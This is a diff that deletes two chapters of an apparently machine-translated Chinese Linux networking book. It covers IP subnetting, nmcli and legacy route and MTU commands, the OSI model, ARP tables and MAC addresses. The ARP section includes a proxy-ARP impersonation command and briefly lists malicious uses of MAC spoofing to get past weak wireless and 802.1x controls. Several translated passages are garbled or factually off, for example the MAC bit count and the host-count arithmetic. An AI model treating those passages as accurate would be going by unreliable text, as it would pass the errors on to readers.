- -```sh -robv@ubuntu:~$ netstat -rn -Kernel IP routing table -Destination Gateway Genmask Flags MSS Window irtt Iface -0.0.0.0 192.168.122.1 0.0.0.0 UG 0 0 0 ens33 -169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 ens33 -192.168.122.0 0.0.0.0 255.255.255.0 U 0 0 0 ens33 -robv@ubuntu:~$ route -n -Kernel IP routing table -Destination Gateway Genmask Flags Metric Ref Use Iface -0.0.0.0 192.168.122.1 0.0.0.0 UG 100 0 0 ens33 -169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 ens33 -192.168.122.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33 -``` - -它们显示相同的信息,但是现在我们有两个额外的命令——`netstat`和`route`。 遗留的网络工具集倾向于针对每种用途使用单独的、惟一的命令,在本例中,我们看到其中两个有相当多的重叠部分。 了解所有这些命令并保持它们的不同语法对 Linux 新手来说可能是一个挑战。 `ip`命令集让这变得简单多了! - -无论您最终使用哪一组工具,现在您已经掌握了建立和检查 IP 地址和路由的基础知识,它们之间的关系将为您的主机提供基本的连通性。 - -# IPv4 地址及子网掩码 - -在上一节中,我们简要地讨论了 IP 地址,但是让我们更详细地讨论它们。 IPv4 允许你做的是通过给每个设备分配一个地址和一个子网掩码,在一个*子网*中唯一地给每个设备寻址。 例如,在我们的示例中,IPv4 地址是`192.168.122.182`。 IPv4 地址中每个*八位数*的范围从`0-255`开始,子网掩码为`/24`,通常也表示为`255.255.255.0`。 这看起来很复杂,直到我们把它分解成二进制表示。 `255`在二进制中是`11111111`(8 位),而这些分组中的 3 个就是 24 位。 因此,我们的地址和掩码表示表示的是,当掩码时,地址的网络部分是`192.168.122.0`,地址的主机部分是`182`,范围可以从`1-254`。 - -打破下来: - -![](img/Table_2.jpg) - -如果我们需要一个更大的子网呢? 我们可以简单地将这个蒙版向左滑动一些。 例如,对于一个 20 位子网掩码,我们有以下内容: - -![](img/Table_3.jpg) - -这使得掩码的第三个八位元`0b11110000`(注意“二进制”的简写`0b`)转换为十进制的`240`。 这个*将*网络的第三八元组屏蔽到`0b01110000`或`112`。 这增加了我们的主机的地址范围`0-15`(`0 – 0b1111`),第三个八位字节,和`0-255`(【显示】)第四,或`3824`(15 x 255 - 1)总计`-1`(我们会在下一节中)。 - -你可以看到,保持一个计算器应用做二进制到十进制的转换是一个方便的事情,网络专业人士! 确保它也是十六进制的(`base 16`); 我们将在几分钟后深入讨论这个问题。 - -现在,我们已经掌握了使用十进制(尤其是二进制)地址和子网掩码的技巧,让我们对其进行扩展,并探索如何使用它来说明其他寻址概念。 - -## 专用地址 - -为了进一步探索 IP 地址在本地子网中是如何工作的,我们需要讨论一些特殊用途的*地址。 首先,如果一个地址中所有的主机*位*都被设置为`1`,那就称为**广播**地址。 如果您向广播地址发送信息,它会被子网中的所有网络接口发送和读取。* - -所以,在我们的两个例子中,`/24`网络的广播如下: - -![](img/Table_4.jpg) - -换句话说,我们有一个广播地址`192.168.122.255`。 - -`/20`网络直播内容如下: - -![](img/Table_5.jpg) - -或者,我们可以将转换回十进制的广播地址`192.168.127.255`。 - -移动 IPv4 地址的网络部分和主机部分之间的边界会让人想起**地址类**的概念。 当转换为二进制时,前几个字节为该地址定义了称为的**有类**子网掩码。 在大多数操作系统中,如果在 GUI 中设置 IP 地址,通常会在默认情况下填充这个有类的子网掩码。 这些二进制到子网的掩码分配结果如下: - -![](img/Table_6.jpg) - -它定义的是网络的默认有类子网掩码。 我们将在接下来的两节中深入探讨这个问题。 - -通过所有这些,您可以了解为什么大多数管理员在其组织内的子网上使用**类边界**。 到目前为止,大多数内部子网的掩码为`255.255.255.0`或`255.255.0.0`。 每当您向团队添加新成员时,任何其他选择都会引起混乱,可能会导致服务器或工作站配置出现错误。 此外,“做数学”每次你需要设置或解释一个网络地址不吸引大多数人。 - -我们刚才提到的第二种类型的特殊地址是**组播**地址。 多播地址用于在对话中包含多个设备。 例如,您可以使用多播地址将相同的视频流发送到许多网络连接的显示器,或者如果您正在一个语音/视频应用中设置一个电话会议或会议。 组播地址以以下形式存在于网络中: - -![](img/Table_7.jpg) - -最后 11 位(3+8)通常构成各种组播协议的“已知地址”。 常见的组播地址如下: - -![](img/Table_8.jpg) - -已知的、已注册的组播地址的完整列表由**IANA**(**Internet Assigned Numbers Authority**)在 https://www.iana.org/assignments/multicast-addresses/multicast-addresses.xhtml 维护。 虽然这个看起来很全面,但是供应商经常会在这个地址空间中创建他们自己的多播地址。 - -这是对多播寻址的一个基本介绍——它比这复杂得多,甚至有一整本书都在介绍其背后的设计、实现和理论。 我们已经讲了足够的内容来了解大致的概念,但也足够开始了。 - -在介绍了广播和多播地址之后,让我们讨论一下您的环境中最有可能使用的 IP 地址“族”。 - -## 私有地址- RFC 1918 - -另一组特殊的地址是 RFC 1918 地址空间。 RFC 1918 描述了分配给组织内部使用的 IP 子网列表。 这些地址不能在公共互联网上使用,所以必须使用**网络地址转换**(**NAT**)进行转换,才能在公共互联网上路由进出这些地址的流量。 - -RFC1918 地址如下: - -* `10.0.0.0/8`(A 类) -* `172.16.0.0`至`172.31.0.0 / 16`(B 类)(可归纳为`172.16.0.0/12`) -* `192.168.0.0/16`(C 类) - -这些地址为组织内部提供了一个很大的 IP 空间,所有这些地址都保证不会与公共互联网上的任何东西冲突。 - -作为一个有趣的练习,您可以使用这些 RFC 1918 子网来验证默认地址类,方法是将每个子网的第一个八位元转换为二进制,然后将它们与最后一节中的表进行比较。 - -RFC 1918 规范在这里有完整的文档:https://tools.ietf.org/html/rfc1918。 - -现在我们已经介绍了 IP 地址和子网掩码的二进制方面,以及各种特殊的 IP 地址组,我相信您已经厌倦了理论和数学,希望回到您的 Linux 主机的命令行中来! 好消息是,我们仍然需要涵盖 IPv6 (IP 版本 6)的寻址的位和字节。更好的消息是,它将在附录中,这样我们就可以让你更快地使用键盘! - -现在我们已经掌握了如何显示 IP 参数并很好地理解了 IP 地址,接下来让我们配置一个 IP 接口。 - -# 配置接口的 IP 地址 - -分配一个永久 IPv4 地址可能是你在几乎每台服务器上都需要做的事情。 幸运的是,这很简单。 在新的命令集中,我们将使用`nmcli`命令(**网络管理器命令行**)。 我们将设置 IP 地址、默认网关和 DNS 服务器。 最后,我们将寻址模式设置为`manual`。 我们将以`nmcli`格式显示网络连接: - -```sh -robv@ubuntu:~$ sudo nmcli connection show -NAME UUID TYPE DEVICE -Wired connection 1 02ea4abd-49c9-3291-b028-7dae78b9c968 ethernet ens33 -``` - -我们的连接的名字是`Wired connection 1`。 不过,我们不需要每次都输入这个; 我们可以通过键入`Wi`,然后按*tab*来完成名称。 另外,请记住,`nmcli`将允许缩短命令子句,所以我们可以对`modify`使用`mod`,对`connection`使用`con`,等等。 让我们继续我们的命令序列(注意在上一个命令中参数是如何被缩短的): - -```sh -$ sudo nmcli connection modify "Wired connection 1" ipv4.addresses 192.168.122.22/24 -$ -$ sudo nmcli connection modify "Wired connection 1" ipv4.gateway 192.168.122.1 -$ -$ sudo nmcli connection modify "Wired connection 1" ipv4.dns "8.8.8.8" -$ -$ sudo nmcli con mod "Wired connection 1" ipv4.method manual -$ -Now, let's save the changes and make them "live": -$ sudo nmcli connection up "Wired connection 1" -Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/5) -$ -``` - -使用遗留方法,我们所有的更改都是通过编辑文件来完成的。 为了好玩,文件名和位置会随着发行版的不同而变化。 最常见的编辑和文件显示在这里。 - -要更改 DNS 服务器,编辑`/etc/resolv.conf`并更改`nameserver`行以反映所需的服务器 IP: - -```sh -nameserver 8.8.8.8 -``` - -如果需要修改 IP 地址、子网掩码等,请编辑`/etc/sysconfig/network-scripts/ifcfg-eth0`文件,更新值如下: - -```sh -DEVICE=eth0 -BOOTPROTO=none -ONBOOT=yes -NETMASK=255.255.255.0 -IPADDR=10.0.1.27 -``` - -如果你的默认网关在这个接口上,你可以这样添加: - -```sh -GATEWAY=192.168.122.1 -``` - -再次注意,在不同的发行版中,要编辑的文件可能不同,特别要注意的是**这种方法不是向后兼容**。 在现代 Linux 系统上,这种为网络更改编辑基本文件的方法基本上不再有效。 - -现在我们知道了如何为接口分配 IP 地址,让我们学习如何调整主机上的路由。 - -## 添加路由 - -要添加一个临时静态路由,`ip`命令再次成为我们的首选。 在这个例子中,我们告诉我们的主机路由到`192.168.122.10`以到达`10.10.10.0/24`网络: - -```sh -robv@ubuntu:~$ sudo ip route add 10.10.10.0/24 via 192.168.122.10 - [sudo] password for robv: -robv@ubuntu:~$ ip route -default via 192.168.122.1 dev ens33 proto dhcp metric 100 -10.10.10.0/24 via 192.168.122.10 dev ens33 -169.254.0.0/16 dev ens33 scope link metric 1000 -192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100 -``` - -您还可以通过将`dev `添加到`ip route add`命令的末尾来添加`egress`网络接口。 - -不过,这只是添加了一个临时路由,如果主机重新启动或网络进程重新启动,该临时路由将无法存活。 可以使用`nmcli`命令添加一条永久静态路由。 - -首先,我们将以`nmcli`格式显示网络连接: - -```sh -robv@ubuntu:~$ sudo nmcli connection show -NAME UUID TYPE DEVICE -Wired connection 1 02ea4abd-49c9-3291-b028-7dae78b9c968 ethernet ens33 -``` - -接下来,我们将通过`192.168.122.11`添加到`10.10.11.0/24`的路由到`Wired connection 1`连接,使用`nmcli`: - -```sh -robv@ubuntu:~$ sudo nmcli connection modify "Wired connection 1" +ipv4.routes "10.10.11.0/24 192.168.122.11" -``` - -再次,保存我们的`nmcli`更改: - -```sh -$ sudo nmcli connection up "Wired connection 1" -Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/5) -$ -``` - -现在,看看我们的路由表,我们看到两个静态路由: - -```sh -robv@ubuntu:~$ ip route -default via 192.168.122.1 dev ens33 proto dhcp metric 100 -10.10.10.0/24 via 192.168.122.10 dev ens33 -10.10.11.0/24 via 192.168.122.11 dev ens33 proto static metric 100 -169.254.0.0/16 dev ens33 scope link metric 1000 -192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100 -``` - -然而,如果我们重载,我们会看到临时路径已经消失,而永久路径已经就位: - -```sh -robv@ubuntu:~$ ip route -default via 192.168.122.1 dev ens33 proto dhcp metric 100 -10.10.11.0/24 via 192.168.122.11 dev ens33 proto static metric 100 -169.254.0.0/16 dev ens33 scope link metric 1000 -192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100 -``` - -在完成添加路由的基础知识之后,让我们看看如何使用遗留的`route`命令在较旧的 Linux 主机上完成相同的任务。 - -## 使用旧方法添加路由 - -首先,要添加路由,使用以下命令: - -```sh -$ sudo route add –net 10.10.12.0 netmask 255.255.255.0 gw 192.168.122.12 -``` - -要使这个路由永久保存,事情就变得复杂了——永久路由存储在文件中,文件名和位置将根据发行版的不同而不同,这就是为什么`iproute2/nmcli`命令的一致性使得在现代系统中更容易操作。 - -在一个较老的 Debian/Ubuntu 发行版上,一个常见的方法是编辑`/etc/network/interfaces`文件并添加以下一行: - -```sh -up route add –net 10.10.12.0 netmask 255.255.255.0 gw 192.168.122.12 -``` - -或者,在一个较老的 Redhat 家族发行版上,编辑`/etc/sysconfig/network-scripts/route-`文件并添加以下行: - -```sh -10.10.12.0/24 via 192.168.122.12 -``` - -或者,只是命令,添加路线编辑`/etc/rc.local`文件——这种方法将任何 Linux 系统上工作,但被认为是不优雅,主要是因为它的下一个管理员将寻找设置(因为这不是一个适当的网络设置文件)。 `rc.local`文件只是在系统启动时执行,并运行其中的任何命令。 在本例中,我们将添加`route add`命令: - -```sh -/sbin/route add –net 10.10.12.0 netmask 255.255.255.0 gw 192.168.122.12 -``` - -现在,我们已经在 Linux 主机上设置网络了。 我们已经设置了 IP 地址、子网掩码和路由。 但是,特别是在故障排除或初始设置时,通常必须禁用或启用某个接口; 我们将在后面讨论这个问题。 - -## 禁用和启用接口 - -在新的命令“world”中,我们使用-你猜对了`– ip`命令。 在这里,我们将“弹跳”界面,把它拉下来,然后再拉上来: - -```sh -robv@ubuntu:~$ sudo ip link set ens33 down -robv@ubuntu:~$ sudo ip link set ens33 up -``` - -在旧的命令 set 中,使用`ifconfig`禁用或启用接口: - -```sh -robv@ubuntu:~$ sudo ifconfig ens33 down -robv@ubuntu:~$ sudo ifconfig ens33 up -``` - -在执行接口命令时,请始终记住,您不希望*切断您所在的分支*。 如果您是远程连接的(例如使用`ssh`),如果更改`ip`寻址或路由,或者禁用一个接口,您很容易在此时失去与主机的连接。 - -至此,我们已经讨论了在现代网络中配置 Linux 主机所需的大多数任务。 然而,网络管理的很大一部分是诊断和设置配置以适应特殊情况,例如,在可能需要更小或更大数据包大小的情况下,调整设置以优化流量。 - -## 设置接口 MTU - -一个在现代系统中越来越常见的操作是设置**消息传输单元**(**MTU**)。 这是的规模最大的**【显示】协议数据单元(PDU****,也叫【病人】帧**在大多数网络),接口将发送或接收。 在以太网上,默认的 MTU 是 1500 字节,也就是最大的包大小为 1500 字节。 媒体的最大包大小通常称为**最大段大小**(**MSS**)。 对于以太网,这三个值如下: - -![Table 2.1 – Relating frame size, MTU, packet size, and MSS for Ethernet ](img/Table_10.jpg) - -表 2.1 -以太网的相关帧大小,MTU,数据包大小和 MSS - -我们为什么要改变这一点? 对于数据包大小来说,1,500 是一个不错的折衷方案,因为它足够小,在发生错误时,该错误可以很快地被检测到,并且重传的数据量相对较小。 然而,尤其是在数据中心,有一些例外。 - -当处理存储流量时,特别是 iSCSI,需要大的帧大小,以便数据包大小可以容纳更多的数据。 在这些情况下,MTU 通常设置为 9000(通常称为一个**巨型包**)。 这些网络通常部署在 1gbps、10gbps 或更快的网络上。 您还会看到流量中使用较大的数据包来容纳备份或虚拟机迁移(例如:VMware 中的 VMotion 或 Hyper-V 中的 Live migration)。 - -在频段的另一端,您还经常会看到需要较小数据包的情况。 这是特别重要的,因为不是所有的主机都能很好地检测到这一点,而且许多应用会在其流量中设置**DF**(**Don't Fragment**)位。 在这种情况下,您可能会在一个可能只支持 1380 字节数据包的介质上看到一个包含 DF 的 1,500 字节数据包集——在这种情况下,应用将简单地失败,并且错误消息通常对故障排除没有帮助。 你可能在哪里看到这个? 任何涉及包被封装的链路通常都会涉及到这一点——例如,隧道或 VPN 解决方案。 这将通过封装引起的开销来减少帧大小(以及由此产生的数据包大小),这通常是很容易计算的。 卫星连接是另一种常见的情况。 它们通常默认为 512 字节的帧——在这种情况下,大小将由服务提供者发布。 - -设置 MTU 和您所想的一样简单——我们将再次使用`nmcli`来设置它。 注意,在这个示例中,我们缩短了`nmcli`的命令行参数,并且在最后保存了配置更改—MTU 在最后一个命令之后立即更改。 让我们设置 MTU 为`9000`来优化 iSCSI 流量: - -```sh -$ sudo nmcli con mod "Wired connection 1" 802-3-ethernet.mtu 9000 -$ sudo nmcli connection up "Wired connection 1" -Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/5) -$ -``` - -设置了 MTU 后,我们还可以用`nmcli`命令做什么? - -## 更多关于 nmcli 命令的信息 - -还可以交互式地调用`nmcli`命令,并且可以在实时解释器或 shell 中进行更改。 要进入以太网接口的 shell,使用`nmcli connection edit type ethernet`命令。 在 shell 中,`print`命令列出了可以为该接口类型更改的所有`nmcli`参数。 注意,这个输出被分成了多个逻辑组——我们编辑了这个(非常长)输出,以显示在各种情况下你可能需要调整、编辑或排除故障的许多设置: - -```sh -nmcli> print -=============================================================================== - Connection profile details (ethernet) -=============================================================================== -connection.id: ethernet -connection.uuid: e0b59700-8dcb-4801-9557-9dee5ab7164f -connection.stable-id: -- -connection.type: 802-3-ethernet -connection.interface-name: -- -…. -connection.lldp: default -connection.mdns: -1 (default) -connection.llmnr: -1 (default) -------------------------------------------------------------------------------- -``` - -这些是常见的以太网选项: - -```sh -802-3-ethernet.port: -- -802-3-ethernet.speed: 0 -802-3-ethernet.duplex: -- -802-3-ethernet.auto-negotiate: no -802-3-ethernet.mac-address: -- -802-3-ethernet.mtu: auto -…. -802-3-ethernet.wake-on-lan: default -802-3-ethernet.wake-on-lan-password: -- -------------------------------------------------------------------------------- -``` - -这些是常见的 IPv4 选项: - -```sh -ipv4.method: auto -ipv4.dns: -- -ipv4.dns-search: -- -ipv4.dns-options: -- -ipv4.dns-priority: 0 -ipv4.addresses: -- -ipv4.gateway: -- -ipv4.routes: -- -ipv4.route-metric: -1 -ipv4.route-table: 0 (unspec) -ipv4.routing-rules: -- -ipv4.ignore-auto-routes: no -ipv4.ignore-auto-dns: no -ipv4.dhcp-client-id: -- -ipv4.dhcp-iaid: -- -ipv4.dhcp-timeout: 0 (default) -ipv4.dhcp-send-hostname: yes -ipv4.dhcp-hostname: -- -ipv4.dhcp-fqdn: -- -ipv4.dhcp-hostname-flags: 0x0 (none) -ipv4.never-default: no -ipv4.may-fail: yes -ipv4.dad-timeout: -1 (default) -------------------------------------------------------------------------------- -``` - -(IPv6 选项应该放在这里,但是为了保持这个列表的可读性,已经删除了。) - -这些是代理设置: - -```sh -------------------------------------------------------------------------------- -proxy.method: none -proxy.browser-only: no -proxy.pac-url: -- -proxy.pac-script: -- -------------------------------------------------------------------------------- -nmcli> -``` - -如前所述,清单在某种程度上是缩写。 我们已经展示了在各种设置或故障排除情况下,您最有可能必须检查或调整的设置。 在您自己的站点上运行该命令以查看完整的清单。 - -如前所述,`nmcli`命令允许我们以交互方式或从命令行调整几个接口参数。 命令行界面特别允许我们在脚本中调整网络设置,允许我们扩大规模,一次在几十个、数百个或数千个站点上调整设置。 - -# 总结 - -读完本章后,您应该对 IP 地址从二进制角度有了坚实的理解。 这样,您就应该理解子网寻址和掩码,以及广播和多播寻址。 您还很好地掌握了各种 IP 地址类。 掌握了所有这些信息之后,您应该能够使用各种不同的命令在 Linux 主机上显示或设置 IP 地址和路由。 其他接口操作也应该很容易完成,比如在接口上设置 MTU。 - -掌握了这些技能之后,您就可以开始我们的下一个主题:使用 Linux 和 Linux 工具进行网络诊断。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 默认网关的目的是什么? -2. 对于一个`192.168.25.0/24`网络,子网掩码和广播地址是什么? -3. 对于同一网络,广播地址是如何使用的? -4. 对于相同的网络,可能的主机地址是什么? -5. 如果您需要静态地设置以太网接口的速度和双工,您将使用什么命令? - -# 进一步阅读 - -* RFC 1918 - Address Allocation for Private internet:[https://tools.ietf.org/html/rfc1918](https://https://tools.ietf.org/html/rfc1918%0D) -* rfc791 - Internet Protocol:[https://tools.ietf.org/html/rfc791](https://https://tools.ietf.org/html/rfc791)** \ No newline at end of file diff --git a/docs/linux-net-prof/03.md b/docs/linux-net-prof/03.md deleted file mode 100644 index fec8ef6d..00000000 --- a/docs/linux-net-prof/03.md +++ /dev/null @@ -1,1174 +0,0 @@ -# 三、将 Linux 和 Linux 工具用于网络诊断 - -在本章中,我们将介绍一些“它如何工作”的网络基础知识,以及如何使用我们的 Linux 工作站进行网络故障排除。 当你完成这一章,你应该有工具来排除本地和远程网络服务,以及“库存”你的网络和它的服务。 - -特别地,我们将涵盖以下主题: - -* 网络基础- OSI 模型。 -* 第二层-使用 ARP 关联 IP 和 MAC 地址,关于 MAC 地址的一些详细信息。 -* 第 4 层- TCP 和 UDP 端口如何工作,包括 TCP“三次握手”以及如何在 Linux 命令中出现。 -* 本地 TCP 和 UDP 端口枚举,以及它们如何与运行的服务相关。 -* 使用两个本地工具的远程端口枚举。 -* 远程端口枚举使用已安装的扫描器(特别是 netcat 和 nmap)。 -* 最后,我们将介绍无线操作和故障排除的一些基本知识。 - -# 技术要求 - -为了遵循本节中的示例,我们将使用现有的 Ubuntu 主机或**虚拟机**(**虚拟机**)。 在这一章中,我们将涉及一些无线主题,所以如果你的主机或虚拟机中没有无线卡,你将需要一个 Wi-Fi 适配器来完成这些示例。 - -在我们研究各种故障诊断方法时,我们将使用各种工具,从一些本机 Linux 命令开始: - -![](img/B16336_Table_01.jpg) - -我们还将使用一些已安装的应用: - -![](img/B16336_Table_02.jpg) - -对于不包含在 Ubuntu 中的软件包,请确保您有一个正常的互联网连接,以便您可以使用`apt`命令进行安装。 - -# 网络基础- OSI 模型 - -是方便讨论网络的概念和应用层,每一层都是大致负责更高和更抽象的功能上的水平,和更多的*螺母和螺栓*原语你旅行沿着栈*。 下图概括地描述了 OSI 模型:* - -![Figure 3.1 – The OSI model for network communication, with some descriptions and examples ](img/B16336_03_001.jpg) - -图 3.1 - OSI 网络通信模型,包括一些描述和示例 - -在常规用法中,层通常用数字来引用,从底部开始计数。 因此,第 2 层的问题通常涉及到 MAC 地址和交换机,并且将局限于站点所在的 VLAN(通常意味着本地子网)。 第 3 层问题将涉及 IP 寻址、路由或包(因此将涉及路由器和更远网络的相邻子网)。 - -与任何模型一样,总是存在混淆的空间。 例如,在第 6 层和第 7 层之间存在一些长期的*模糊性*。 在第 5 层和第 6 层之间,虽然 IPSEC 肯定是加密的,因此属于第 6 层,但它也可以被视为隧道协议(取决于您的观点和实现)。 即使在第 4 层,TCP 也有会话的概念,因此似乎有一只脚在第 5 层——尽管*端口*的概念将其牢牢地保留在第 4 层。 - -当然,总是有幽默的空间——普遍的智慧/笑话是,*人*在这个模型中形成第 8 层。 因此,第 8 层问题可能包括求助电话、预算讨论或与组织管理层开会来解决它! - -我们在下一个图中看到的说明了这个模型中需要记住的最重要的概念。 当数据被接收时,它沿着堆栈向上移动,从它封装的最原始的构造到越来越抽象/高级的构造(例如,从位到帧到包、从 api 到应用)。 发送数据将它从应用层移动到网络上的二进制表示(从上层到下层)。 - -1-3 层通常被称为**媒体**或**网络**层,而 4-7 层通常被称为**主机或应用**层: - -![Figure 3.2 – Traveling up and down the OSI stack, encapsulating and decapsulating as we go ](img/B16336_03_002.jpg) - -图 3.2 -在 OSI 堆栈中上下移动,并进行封装和解封装 - -这个概念使一个供应商能够制造一个交换机,例如,它可以与另一个供应商的网卡交互,或者使交换机能够与路由器一起工作。 这也是我们的应用生态系统——大部分应用开发人员不需要担心 IP 地址、路由、或无线和有线网络之间的差异,这一切只是照顾——网络可以被视为一个黑盒,你在一端发送数据, 你可以肯定,它会以正确的位置和格式出现在另一端。 - -现在我们已经建立了 OSI 模型的基础,让我们通过探索`arp`命令和本地 ARP 表来详细了解数据链路层。 - -# 使用 ARP 关联的二层 IP 地址和 MAC 地址 - -随着 OSI 模型的牢固到位,我们可以看到我们迄今为止关于 IP 地址的讨论都集中在第 3 层。 这就是普通人,甚至是许多 IT 和网络人员,在他们的理解中倾向于认为通往*的网络路径停止*的地方——他们可以沿着这条路径走到那么远,并将其余部分视为一个黑盒。 但是作为一个专业的社交人士,第 1 层和第 2 层是非常重要的——让我们从第 2 层开始。 - -理论上,MAC 地址是被*刻入*每个网络接口的地址。 虽然这通常是正确的,但也很容易改变。 MAC 地址是什么呢? 它是一个 12 位(6 字节/48 位)地址,通常用十六进制表示。 当显示时,每个字节或双字节通常用`.`或`-`分隔。 因此,典型的 MAC 地址可能是`00-0c-29-3b-73-cb`或`9a93.5d84.5a69`(显示了两种常见的表示方式)。 - -实际上,这些地址用于同一 VLAN 或子网中的主机之间的通信。 如果你看一个数据包捕获(我们会在稍后在书中,在[*第 11 章*](11.html#_idTextAnchor192),*数据包捕获和分析在 Linux 中*),TCP 会话开始时你会看到发送站发送一个广播(一个请求发送到所有站在子网)【显示】说`who has IP address x.x.x.x`ARP 请求。 来自具有该地址的主机的**ARP 应答**将包括`That's me, and my MAC address is aaaa.bbbb.cccc`。 如果目标 IP 地址在一个不同的子网,发送者将“ARP for”该子网的网关(通常是默认网关,除非有本地路由定义)。 - -接下来,发送方和接收方使用 MAC 地址进行通信。 两台主机连接的交换机基础设施只在每个 VLAN 内使用 MAC 地址,这也是交换机比路由器快得多的原因之一。 当我们看到实际的数据包(在*抓包*的章节),你会看到发送和接收 MAC 地址以及每个数据包中的 IP 地址。 - -ARP 请求缓存在每个主机上的**ARP 缓存**或**ARP 表**中,可以通过`arp`命令显示: - -```sh -$ arp -a -? (192.168.122.138) at f0:ef:86:0f:5d:70 [ether] on ens33 -? (192.168.122.174) at 00:c3:f4:88:8b:43 [ether] on ens33 -? (192.168.122.5) at 00:5f:86:d7:e6:36 [ether] on ens33 -? (192.168.122.132) at 64:f6:9d:e5:ef:60 [ether] on ens33 -? (192.168.122.7) at c4:44:a0:2f:d4:c3 [ether] on ens33 -_gateway (192.168.122.1) at 00:0c:29:3b:73:cb [ether] on ens33 -``` - -你可以看到这很简单。 它只是将三层 IP 地址与第一层**网络接口卡**(**网卡**)的二层 MAC 地址关联起来。 MAC 地址表项通常是从流量中“学习”的——包括 ARP 请求和应答。 它们确实会过期——通常情况下,如果没有流量被看到或从一个 MAC 地址中读取到流量,那么这个 MAC 地址将在一段时间后从表中清除。 你可以通过在`/proc`目录中列出正确的文件来查看你的超时值: - -```sh -$ cat /proc/sys/net/ipv4/neigh/default/gc_stale_time -60 -$ cat /proc/sys/net/ipv4/neigh/ens33/gc_stale_time -60 -``` - -注意,每个网络适配器都有一个默认值(以秒为单位)和一个值(它们通常是匹配的)。 这对你来说似乎很短——交换机上的匹配 MAC 地址表(通常称为 CAM 表)通常是 5 分钟,路由器上的 ARP 表通常是 14,400 秒(4 小时)。 这些价值都与资源有关。 总的来说,工作站有足够的资源来频繁地发送 ARP 报文。 交换机*从流量(包括 ARP 请求和应答)中学习*MAC 地址,因此让这个计时器比工作站计时器稍微长一点是有意义的。 类似地,在路由器上设置一个长时间的 ARP 缓存计时器可以节省 CPU 和网卡资源。 路由器的计时器之所以这么长,是因为在过去几年里,与网络上的其他东西相比,路由器受到带宽和 CPU 的限制。 虽然这在现代已经改变了,但路由器上的 ARP 缓存超时的长默认值仍然存在。 在路由器或防火墙迁移过程中,这是一件很容易忘记的事情——我曾经参与过许多这种类型的维护窗口,在迁移之后,在右边的路由器上一个`clear arp`命令神奇地“修复了一切”。 - -我们还没有讨论过 Linux 中的`/proc`目录——这是一个文件的“虚拟”目录,其中包含 Linux 主机上各种事物的当前设置和状态。 它们不是“真正的”文件,但它们被表示为文件,因此我们可以使用与文件相同的命令:`cat`、`grep`、`cut`、`sort`、`awk`等等。 您可以查看网络接口错误和值,例如在/`proc/net/dev`中(注意,在这个清单中,事情不是很正确地排列起来): - -```sh -$ cat /proc/net/dev -Inter-| Receive | Transmit - face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed - lo: 208116 2234 0 0 0 0 0 0 208116 2234 0 0 0 0 0 0 - ens33: 255945718 383290 0 662 0 0 0 0 12013178 118882 0 0 0 0 0 0 -``` - -你可以甚至查看内存统计(注意`meminfo`包含**很多**更多信息): - -```sh -$ cat /proc/meminfo | grep Mem -MemTotal: 8026592 kB -MemFree: 3973124 kB -MemAvailable: 6171664 kB -``` - -回到 ARP 和 MAC 地址。 您可以添加一个静态 MAC 地址——一个不会过期的地址,它可能与您想要连接到的主机的真实 MAC 不同。 这通常是出于故障排除的目的。 或者你可以清除一个 ARP 条目,如果一个路由器被换出了,你可能经常想这样做(例如,如果你的默认网关路由器有相同的 IP,但现在有不同的 MAC)。 注意,你不需要特殊的权限来查看 ARP 表,但你一定要修改它! - -要添加一个静态条目,请执行以下操作(显示时请注意`PERM`状态): - -```sh -$ sudo arp -s 192.168.122.200 00:11:22:22:33:33 -$ arp -a | grep 192.168.122.200 -? (192.168.122.200) at 00:11:22:22:33:33 [ether] PERM on ens33 -``` - -如果要删除 ARP 表项,请执行以下操作(注意此命令通常跳过`-i interfacename`参数): - -```sh -$ sudo arp –i ens33 -d 192.168.122.200 -``` - -要伪装成一个给定的 IP 地址-例如,回答 IP`10.0.0.1`的 ARP 请求-执行以下操作: - -```sh -$ sudo arp -i eth0 -Ds 10.0.0.2 eth1 pub -``` - -最后,您还可以轻松地更改接口的 MAC 地址。 您可能认为应该通过来处理具有重复地址的,但这种情况非常罕见。 - -更改 MAC 地址的合法原因可能包括以下几点: - -* 您已经迁移了防火墙,ISP 已经硬编码了您的 MAC。 -* 你已经迁移了一个主机或主机网卡,而上游路由器对你来说是不可访问的,但是你不能等待路由器上的 ARP 缓存过期 4 个小时。 -* 您已经迁移了一台主机,并且您需要使用旧 MAC 地址的 DHCP 保留,但您无法访问“修复”该 DHCP 条目。 -* 出于隐私考虑,苹果设备会更改其无线 MAC 地址。 考虑到有那么多其他(更简单的)方法来追踪一个人的身份,这种保护通常不是那么有效。 - -恶意更改 MAC 地址的原因有以下几种: - -* 你正在攻击一个无线网络,并且已经发现,一旦经过身份验证,接入点所做的唯一检查就是针对客户端 MAC 地址。 -* 与前面的要点相同,但是是针对以太网络,该网络使用`802.1x`身份验证进行安全保护,但配置不安全或不完整(我们将在后面的章节中更详细地讨论这一点)。 -* 你正在攻击一个拥有 MAC 地址权限的无线网络。 - -希望这说明使用 MAC 地址来实现安全通常不是一个明智的决定。 - -要找到您的 MAC 地址,我们有四种不同的方法: - -```sh -$ ip link show -1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 -2: ens33: mtu 1400 qdisc fq_codel state UP mode DEFAULT group default qlen 1000 - link/ether 00:0c:29:33:2d:05 brd ff:ff:ff:ff:ff:ff -$ ip link show ens33 | grep link - link/ether 00:0c:29:33:2d:05 brd ff:ff:ff:ff:ff:ff -$ ifconfig -ens33: flags=4163 mtu 1400 - inet 192.168.122.22 netmask 255.255.255.0 broadcast 192.168.122.255 - inet6 fe80::1ed6:5b7f:5106:1509 prefixlen 64 scopeid 0x20 - ether 00:0c:29:33:2d:05 txqueuelen 1000 (Ethernet) - RX packets 384968 bytes 256118213 (256.1 MB) - RX errors 0 dropped 671 